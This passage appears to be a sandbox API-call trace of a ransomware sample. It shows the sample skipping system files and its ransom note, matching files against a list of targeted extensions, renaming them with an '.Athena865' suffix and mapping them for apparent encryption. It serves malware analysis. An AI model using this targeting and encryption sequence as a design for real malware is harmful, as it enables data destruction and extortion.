returned 3 [0063.724] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0063.724] lstrlenW (lpString="nsf") returned 3 [0063.724] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0063.724] lstrlenW (lpString="nv") returned 2 [0063.724] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0063.724] lstrlenW (lpString="nv2") returned 3 [0063.724] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0063.724] lstrlenW (lpString="nwdb") returned 4 [0063.724] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0063.724] lstrlenW (lpString="nyf") returned 3 [0063.724] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0063.724] lstrlenW (lpString="odb") returned 3 [0063.724] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0063.724] lstrlenW (lpString="odb") returned 3 [0063.724] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0063.724] lstrlenW (lpString="oqy") returned 3 [0063.724] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0063.724] lstrlenW (lpString="ora") returned 3 [0063.724] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0063.724] lstrlenW (lpString="orx") returned 3 [0063.724] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0063.724] lstrlenW (lpString="owc") returned 3 [0063.724] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0063.724] lstrlenW (lpString="p96") returned 3 [0063.724] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0063.724] lstrlenW (lpString="p97") returned 3 [0063.724] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0063.725] lstrlenW (lpString="pan") returned 3 [0063.725] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0063.725] lstrlenW (lpString="pdb") returned 3 [0063.725] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0063.725] lstrlenW (lpString="pdm") returned 3 [0063.725] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0063.725] lstrlenW (lpString="pnz") returned 3 [0063.725] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0063.725] lstrlenW (lpString="qry") returned 3 [0063.725] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0063.725] lstrlenW (lpString="qvd") returned 3 [0063.725] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0063.725] lstrlenW (lpString="rbf") returned 3 [0063.725] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0063.725] lstrlenW (lpString="rctd") returned 4 [0063.725] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0063.725] lstrlenW (lpString="rod") returned 3 [0063.725] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0063.725] lstrlenW (lpString="rodx") returned 4 [0063.725] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0063.725] lstrlenW (lpString="rpd") returned 3 [0063.725] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0063.725] lstrlenW (lpString="rsd") returned 3 [0063.725] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0063.725] lstrlenW (lpString="sas7bdat") returned 8 [0063.725] lstrcmpiW (lpString1="etup.exe", lpString2="sas7bdat") returned -1 [0063.725] lstrlenW (lpString="sbf") returned 3 [0063.725] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0063.725] lstrlenW (lpString="scx") returned 3 [0063.725] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0063.725] lstrlenW (lpString="sdb") returned 3 [0063.725] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0063.725] lstrlenW (lpString="sdc") returned 3 [0063.726] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0063.726] lstrlenW (lpString="sdf") returned 3 [0063.726] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0063.726] lstrlenW (lpString="sis") returned 3 [0063.726] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0063.726] lstrlenW (lpString="spq") returned 3 [0063.726] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0063.726] lstrlenW (lpString="te") returned 2 [0063.726] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0063.726] lstrlenW (lpString="teacher") returned 7 [0063.726] lstrcmpiW (lpString1="tup.exe", lpString2="teacher") returned 1 [0063.726] lstrlenW (lpString="tmd") returned 3 [0063.726] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0063.726] lstrlenW (lpString="tps") returned 3 [0063.726] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0063.726] lstrlenW (lpString="trc") returned 3 [0063.726] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0063.726] lstrlenW (lpString="trc") returned 3 [0063.726] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0063.726] lstrlenW (lpString="trm") returned 3 [0063.726] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0063.726] lstrlenW (lpString="udb") returned 3 [0063.726] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0063.726] lstrlenW (lpString="udl") returned 3 [0063.726] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0063.726] lstrlenW (lpString="usr") returned 3 [0063.726] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0063.726] lstrlenW (lpString="v12") returned 3 [0063.726] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0063.726] lstrlenW (lpString="vis") returned 3 [0063.726] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0063.726] lstrlenW (lpString="vpd") returned 3 [0063.726] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0063.727] lstrlenW (lpString="vvv") returned 3 [0063.727] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0063.727] lstrlenW (lpString="wdb") returned 3 [0063.727] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0063.727] lstrlenW (lpString="wmdb") returned 4 [0063.727] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0063.727] lstrlenW (lpString="wrk") returned 3 [0063.727] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0063.727] lstrlenW (lpString="xdb") returned 3 [0063.727] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0063.727] lstrlenW (lpString="xld") returned 3 [0063.727] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0063.727] lstrlenW (lpString="xmlff") returned 5 [0063.727] lstrcmpiW (lpString1="p.exe", lpString2="xmlff") returned -1 [0063.727] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.Athena865") returned 82 [0063.727] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.athena865"), dwFlags=0x1) returned 1 [0063.728] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0063.729] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1377656) returned 1 [0063.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0063.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0063.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5191a0 [0063.729] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519118) returned 1 [0063.730] CryptGenRandom (in: hProv=0x519118, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0063.730] CryptReleaseContext (hProv=0x519118, dwFlags=0x0) returned 1 [0063.730] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x150880, lpName=0x0) returned 0x17c [0063.731] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x150880) returned 0x2d50000 [0063.789] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519118) returned 1 [0063.790] CryptGenRandom (in: hProv=0x519118, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0063.790] CryptReleaseContext (hProv=0x519118, dwFlags=0x0) returned 1 [0063.790] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0063.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0063.790] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0063.790] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0063.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0063.790] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0063.790] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0063.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0063.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0063.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0063.790] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0063.802] CloseHandle (hObject=0x17c) returned 1 [0063.802] CloseHandle (hObject=0x154) returned 1 [0063.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0063.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5191a0 | out: hHeap=0x4f0000) returned 1 [0063.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0063.808] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0063.808] lstrcmpiW (lpString1="Setup.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0063.808] lstrcmpiW (lpString1="Setup.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0063.808] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0063.808] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0063.808] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0063.808] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0063.808] lstrcmpiW (lpString1="Setup.xml", lpString2="temp") returned -1 [0063.808] lstrcmpiW (lpString1="Setup.xml", lpString2="pagefile.sys") returned 1 [0063.808] lstrcmpiW (lpString1="Setup.xml", lpString2="boot") returned 1 [0063.808] lstrcmpiW (lpString1="Setup.xml", lpString2="ids.txt") returned 1 [0063.808] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0063.808] lstrcmpiW (lpString1="Setup.xml", lpString2="perflogs") returned 1 [0063.809] lstrcmpiW (lpString1="Setup.xml", lpString2="MSBuild") returned 1 [0063.809] lstrlenW (lpString="Setup.xml") returned 9 [0063.809] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0063.809] lstrlenW (lpString="Setup.xml") returned 9 [0063.809] lstrlenW (lpString="Athena865") returned 9 [0063.809] lstrlenW (lpString=".dll") returned 4 [0063.809] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1 [0063.809] lstrlenW (lpString=".lnk") returned 4 [0063.809] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1 [0063.809] lstrlenW (lpString=".ini") returned 4 [0063.809] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1 [0063.809] lstrlenW (lpString=".sys") returned 4 [0063.809] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1 [0063.809] lstrlenW (lpString="Setup.xml") returned 9 [0063.809] lstrlenW (lpString="bak") returned 3 [0063.809] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0063.809] lstrlenW (lpString="ba_") returned 3 [0063.809] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0063.809] lstrlenW (lpString="dbb") returned 3 [0063.809] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0063.809] lstrlenW (lpString="vmdk") returned 4 [0063.809] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0063.809] lstrlenW (lpString="rar") returned 3 [0063.809] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0063.809] lstrlenW (lpString="zip") returned 3 [0063.809] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0063.809] lstrlenW (lpString="tgz") returned 3 [0063.809] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0063.809] lstrlenW (lpString="vbox") returned 4 [0063.809] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0063.809] lstrlenW (lpString="vdi") returned 3 [0063.809] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0063.809] lstrlenW (lpString="vhd") returned 3 [0063.809] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0063.809] lstrlenW (lpString="vhdx") returned 4 [0063.809] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0063.810] lstrlenW (lpString="avhd") returned 4 [0063.810] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0063.810] lstrlenW (lpString="db") returned 2 [0063.810] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0063.810] lstrlenW (lpString="db2") returned 3 [0063.810] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0063.810] lstrlenW (lpString="db3") returned 3 [0063.810] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0063.810] lstrlenW (lpString="dbf") returned 3 [0063.810] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0063.810] lstrlenW (lpString="mdf") returned 3 [0063.810] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0063.810] lstrlenW (lpString="mdb") returned 3 [0063.810] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0063.810] lstrlenW (lpString="sql") returned 3 [0063.810] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0063.810] lstrlenW (lpString="sqlite") returned 6 [0063.810] lstrcmpiW (lpString1="up.xml", lpString2="sqlite") returned 1 [0063.810] lstrlenW (lpString="sqlite3") returned 7 [0063.810] lstrcmpiW (lpString1="tup.xml", lpString2="sqlite3") returned 1 [0063.810] lstrlenW (lpString="sqlitedb") returned 8 [0063.810] lstrcmpiW (lpString1="etup.xml", lpString2="sqlitedb") returned -1 [0063.810] lstrlenW (lpString="xml") returned 3 [0063.810] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0063.810] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.Athena865") returned 82 [0063.810] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwFlags=0x1) returned 1 [0063.811] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0063.811] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20577) returned 1 [0063.811] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0063.811] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0063.811] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5191a0 [0063.811] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519118) returned 1 [0063.812] CryptGenRandom (in: hProv=0x519118, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0063.812] CryptReleaseContext (hProv=0x519118, dwFlags=0x0) returned 1 [0063.812] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5370, lpName=0x0) returned 0x17c [0063.814] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5370) returned 0x100000 [0063.825] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519118) returned 1 [0063.826] CryptGenRandom (in: hProv=0x519118, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0063.826] CryptReleaseContext (hProv=0x519118, dwFlags=0x0) returned 1 [0063.826] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0063.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0063.826] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0063.826] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0063.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0063.827] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0063.827] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0063.827] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0063.827] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0063.827] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0063.827] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0063.827] CloseHandle (hObject=0x17c) returned 1 [0063.827] CloseHandle (hObject=0x154) returned 1 [0063.827] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0063.827] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5191a0 | out: hHeap=0x4f0000) returned 1 [0063.827] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0063.828] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1 [0063.828] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0063.828] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0063.828] lstrcmpiW (lpString1="VisiorWW.cab", lpString2=".") returned 1 [0063.828] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="..") returned 1 [0063.828] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="windows") returned -1 [0063.828] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="bootmgr") returned 1 [0063.828] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="temp") returned 1 [0063.828] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="pagefile.sys") returned 1 [0063.828] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="boot") returned 1 [0063.828] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="ids.txt") returned 1 [0063.828] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="ntuser.dat") returned 1 [0063.828] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="perflogs") returned 1 [0063.828] lstrcmpiW (lpString1="VisiorWW.cab", lpString2="MSBuild") returned 1 [0063.828] lstrlenW (lpString="VisiorWW.cab") returned 12 [0063.828] lstrcpyW (in: lpString1=0x241e8c6, lpString2="VisiorWW.cab" | out: lpString1="VisiorWW.cab") returned="VisiorWW.cab" [0063.828] lstrlenW (lpString="VisiorWW.cab") returned 12 [0063.828] lstrlenW (lpString="Athena865") returned 9 [0063.828] lstrcmpiW (lpString1="iorWW.cab", lpString2="Athena865") returned 1 [0063.828] lstrlenW (lpString=".dll") returned 4 [0063.828] lstrcmpiW (lpString1="VisiorWW.cab", lpString2=".dll") returned 1 [0063.828] lstrlenW (lpString=".lnk") returned 4 [0063.828] lstrcmpiW (lpString1="VisiorWW.cab", lpString2=".lnk") returned 1 [0063.828] lstrlenW (lpString=".ini") returned 4 [0063.828] lstrcmpiW (lpString1="VisiorWW.cab", lpString2=".ini") returned 1 [0063.828] lstrlenW (lpString=".sys") returned 4 [0063.828] lstrcmpiW (lpString1="VisiorWW.cab", lpString2=".sys") returned 1 [0063.828] lstrlenW (lpString="VisiorWW.cab") returned 12 [0063.829] lstrlenW (lpString="bak") returned 3 [0063.829] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1 [0063.829] lstrlenW (lpString="ba_") returned 3 [0063.829] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1 [0063.829] lstrlenW (lpString="dbb") returned 3 [0063.829] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1 [0063.829] lstrlenW (lpString="vmdk") returned 4 [0063.829] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1 [0063.829] lstrlenW (lpString="rar") returned 3 [0063.829] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1 [0063.829] lstrlenW (lpString="zip") returned 3 [0063.829] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1 [0063.829] lstrlenW (lpString="tgz") returned 3 [0063.829] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1 [0063.829] lstrlenW (lpString="vbox") returned 4 [0063.829] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1 [0063.829] lstrlenW (lpString="vdi") returned 3 [0063.829] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1 [0063.829] lstrlenW (lpString="vhd") returned 3 [0063.829] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1 [0063.829] lstrlenW (lpString="vhdx") returned 4 [0063.829] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1 [0063.829] lstrlenW (lpString="avhd") returned 4 [0063.829] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1 [0063.829] lstrlenW (lpString="db") returned 2 [0063.829] lstrcmpiW (lpString1="ab", lpString2="db") returned -1 [0063.829] lstrlenW (lpString="db2") returned 3 [0063.829] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1 [0063.829] lstrlenW (lpString="db3") returned 3 [0063.829] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1 [0063.829] lstrlenW (lpString="dbf") returned 3 [0063.829] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1 [0063.829] lstrlenW (lpString="mdf") returned 3 [0063.829] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1 [0063.830] lstrlenW (lpString="mdb") returned 3 [0063.830] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1 [0063.830] lstrlenW (lpString="sql") returned 3 [0063.830] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1 [0063.830] lstrlenW (lpString="sqlite") returned 6 [0063.830] lstrcmpiW (lpString1="WW.cab", lpString2="sqlite") returned 1 [0063.830] lstrlenW (lpString="sqlite3") returned 7 [0063.830] lstrcmpiW (lpString1="rWW.cab", lpString2="sqlite3") returned -1 [0063.830] lstrlenW (lpString="sqlitedb") returned 8 [0063.830] lstrcmpiW (lpString1="orWW.cab", lpString2="sqlitedb") returned -1 [0063.830] lstrlenW (lpString="xml") returned 3 [0063.830] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1 [0063.830] lstrlenW (lpString="$er") returned 3 [0063.830] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1 [0063.830] lstrlenW (lpString="4dd") returned 3 [0063.830] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1 [0063.830] lstrlenW (lpString="4dl") returned 3 [0063.830] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1 [0063.830] lstrlenW (lpString="^^^") returned 3 [0063.830] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1 [0063.830] lstrlenW (lpString="abs") returned 3 [0063.830] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1 [0063.830] lstrlenW (lpString="abx") returned 3 [0063.830] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1 [0063.830] lstrlenW (lpString="accdb") returned 5 [0063.830] lstrcmpiW (lpString1="W.cab", lpString2="accdb") returned 1 [0063.830] lstrlenW (lpString="accdc") returned 5 [0063.830] lstrcmpiW (lpString1="W.cab", lpString2="accdc") returned 1 [0063.830] lstrlenW (lpString="accde") returned 5 [0063.830] lstrcmpiW (lpString1="W.cab", lpString2="accde") returned 1 [0063.830] lstrlenW (lpString="accdr") returned 5 [0063.830] lstrcmpiW (lpString1="W.cab", lpString2="accdr") returned 1 [0063.830] lstrlenW (lpString="accdt") returned 5 [0063.831] lstrcmpiW (lpString1="W.cab", lpString2="accdt") returned 1 [0063.831] lstrlenW (lpString="accdw") returned 5 [0063.831] lstrcmpiW (lpString1="W.cab", lpString2="accdw") returned 1 [0063.831] lstrlenW (lpString="accft") returned 5 [0063.831] lstrcmpiW (lpString1="W.cab", lpString2="accft") returned 1 [0063.831] lstrlenW (lpString="adb") returned 3 [0063.831] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0063.831] lstrlenW (lpString="adb") returned 3 [0063.831] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0063.831] lstrlenW (lpString="ade") returned 3 [0063.831] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1 [0063.831] lstrlenW (lpString="adf") returned 3 [0063.831] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1 [0063.831] lstrlenW (lpString="adn") returned 3 [0063.831] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1 [0063.831] lstrlenW (lpString="adp") returned 3 [0063.831] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1 [0063.831] lstrlenW (lpString="alf") returned 3 [0063.831] 